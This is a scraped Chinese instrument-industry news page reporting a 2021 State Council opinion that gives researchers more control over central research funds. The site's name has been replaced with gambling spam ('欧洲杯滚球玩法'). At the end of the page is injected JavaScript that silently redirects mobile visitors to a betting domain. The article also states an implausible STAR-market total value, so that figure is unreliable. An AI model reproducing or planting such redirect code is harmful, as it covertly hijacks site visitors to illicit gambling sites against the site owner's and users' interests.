欧洲杯滚球玩法

官方微信|手机版

产品推荐:气相|液相|光谱|质谱|电化学|元素分析|水分测定仪|样品前处理|试验机|培养箱


资讯中心

欧洲杯滚球玩法>资讯中心>政策法规>正文

今日焦点时事热点行业动态企业动态政策法规

科研经费自主管理权再“松绑” 科技创新驶入“快车道”

2021年08月16日 13:55:03来源:欧洲杯滚球玩法作者:江鱼点击:699
分享:

  【化工仪器网 政策法规】 二十一世纪以来,各国注重科技创新能力,并将科学技术作为竞争点。我国也不例外,科教兴国等战略相继出台,国家科技治理体系不断完善;创新板上市三百余家公司,总市值4.95亿元,硬科技交上一份漂亮的成绩单。我国站在两个百年交汇点上,“十四五”将创新放在我国现代化建设全局中的核心地位,保持深入发展、加速发展的良好势头。
 
  技术先行,经费仍是一个大问题。科技创新能力与科研经费不匹配等问题频现,经费矛盾成为堵塞技术创新的一大痛点。近日,国务院出台《关于改革完善中央财政科研经费管理的若干意见》(以下简称《意见》),针对一直以来科研经费痛点问题,亮出扩大科研项目经费管理自主权、完善科研经费项目拨付机制、加大科研人员激励力度、减轻科研人员事务性负担、创新财政科研经费投入与支持方式等七个方面提出25条举措,为经费管理松绑,激发科研人员的技术创新精神力。
 
  科研经费管理有几难 冲突根深蒂固
 
  根据中国科协统计,截至目前,我国科技工作者总人数超过9100万。人有了、钱够了,但技术创新却卡在半路上。
 
  科研预算编制繁琐是突出问题。预算包括直接费用和间接费用。直接费用又分为资料费、数据采集费、设备费等多个种类。比如多学科融合发展下,科研人员参加各式各样的技术研讨会、国际交流会不在少数。然而,当下需要确定未来出差目的地、滞留期等详细信息,这类看不见、摸不着的细致预算给科研人员带来额外,徒增压力。
 
  目光转到仪器设备上,预算中要标明未来几年采购仪器设备的型号、三方价比等更是令人匪夷所思。技术更新飞速,一眼看到未来显然不切实际。此外,科研项目在启动年要确定购买仪器和设备数量、引入专家人数等;项目部分报销不在预算表格内,就此搁置,出现了有钱难办事的现象。这些预算与未来实际情况出入较大,并无实际意义,束缚科研人员手脚。
 
  报销难是另外一个亟待解决的重点问题。由于财务管理过细,科研人员的研究时间被经费报销占据大部分,贴票、算账、报销,一套流程下来让人苦不堪言。另外,项目申报审批流程冗长和经费拨付进度慢等,分散了科研人员的精力、打击了科研人员的积极性,人员和经费管理冲突不断,经费申请、报销雪上加霜。
 
  《意见》出台  7大方面、25条举措化解难题
 
  《意见》剔除不符合技术发展规律的条例,以人为核心,合并修改原科研经费管理要求,促使科研人员潜心科研。
 
  首先,简预算。《意见》按设备费、业务费、劳务费三大类编制直接费用预算。直接费用中除50万元以上的设备费外,其他费用只提供基本测算说明,不需要提供明细。该项措施解决了“买酱油的钱不能打醋”的问题,实现费用灵活运用。此外,合并项目评审和预算,在人才类和基础研究类科研项目中推行经费包干制,让科研经费灵活起来。
 
  其次,放权力。《意见》下放预算调剂权,科研人员考虑现有情况、项目实际需求进行经费申请、调剂。该项措施为科研经费管理进一步松绑,扩大科研人员的经费自我管理权力,经费适应实际情况,不再原地“跑马”。
 
  接着,圆机制。《意见》摒弃了原先刻板要求,按照当前情况、紧急程度完善精分管理机制。如采购机制转为对科研急需的设备和耗材采用特事特办、随到随办;项目管理部门尊重科研负责人意见,合理确定拨付计划,加快拨付进度;科研结余资金可留归科研单位使用,用于之后的科研直接支出,科研人员不必须后续经费在申请等琐事分心劳神。
 
  最后,去负担。《意见》一方面简化科研项目验收结题财务管理、推进科研经费无纸化报销试点,实现去繁化简。另一方面,《意见》切实关注科研人员的实际需求,如提高间接费用比例,扩大劳务费开支范围,合理核定绩效工资总量。从硬件走向软件,从设备政策走向人情关怀,提高科研人员的实际收入,防止经费多但发不出工资的情况发生,有效激发科研人员的研究、创新热情。
 
  不仅如此,《意见》就创新财政科研经费投入与支持方式、改进科研绩效管理和监督检查等方面进行改进、补充。
 
  推动政策落地 打通“最后一公里”
 
  三分部署、七分落实,新政从出台到落地、成熟实施还需相关部门各尽其责、联合联动。
 
  《意见》落实过程中,仍需坚持以人为中心,让经费为人服务,关注科研人员的实际,明确保障范围和机制,完善大科研人员的奖励机制,激发科研人员创新力,潜心钻研、攻克难关。
 
  其次,破解管理中的难点,及时调整预算严、刚性强、评估繁的各种项目检查。将科研方向从项目、经费转移到研究兴趣,帮助科研人员挣脱束缚。大力推广指导性、示范性,推广试点,树立榜样单位。
 
  值得一提的是,要信任也要监督,在放与管之间找好发力点,自由并不等于无序。对于已经拨款到位的项目,还需定期检查研究效果、技术成果,评测科技投入的产出效益,避免出现研究贪腐。
 
  科技创新没有经费使用自主权,科研自主权难以落实。《意见》出台意义重大,促使科研人员重掌自主创新管理权,激发科研人员的内生动力,让科研经费更好地为科研服务,实现科技自立自强,加快建设科技强国。
 

关注本(ben)网官方微信 随时阅读专业资讯


预算170万 上海交通大学采购S波段微波飞秒 2021-08-17 10:29:21
上海交通大学就“上海交通大学S波段微波飞秒电子脉冲压缩系统采购项目”进行第二次公开招标,预算170万,采购S波段微波飞秒电子脉冲压缩系统一套。
预算740万 中国科学技术大学国家同步辐射 2021-08-10 09:00:01
近日,中国科技大学发布的国家同步辐射实验室计量光束线与反射率计采购公开招标公告,招标项目的潜在投标人应在优质采云采购平台获取招标文件,并于2021年08月31日 09点30分(北京时间)前递交投标文件。
《电子天平》国家标准征求意见稿已完成 2021-08-05 16:27:06
近日,由全国实验室仪器及设备标准化技术委员会归口的《电子天平》国家标准征求意见稿现已完成。按照国家标准制修订管理办法和全国实验室仪器及设备标准化技术委员会章程的有关规定,应标准起草工作组的请求,现向各位专家征求意见。
276万 宁夏计量质量检验检测研究院采购实验 2021-08-05 09:00:12
近日,宁夏计量质量检验检测研究院发布了一则招标公告,预算约276万采购一批实验仪器装置。

全年征稿 / 资讯合作

联系邮箱:1958783438@qq.com

版权与免责声明

  • 凡本网注明“来源:欧洲杯滚球玩法”的所有作品,均为浙江兴旺宝明通网络有限公司-欧洲杯滚球玩法合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:欧洲杯滚球玩法”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非欧洲杯滚球玩法)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。

天津市兰博实验仪器设备有限公司
江苏天瑞仪器股份有限公司



返回欧洲杯滚球玩法产品对比发布询价建议反馈官方微信
回到顶部
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();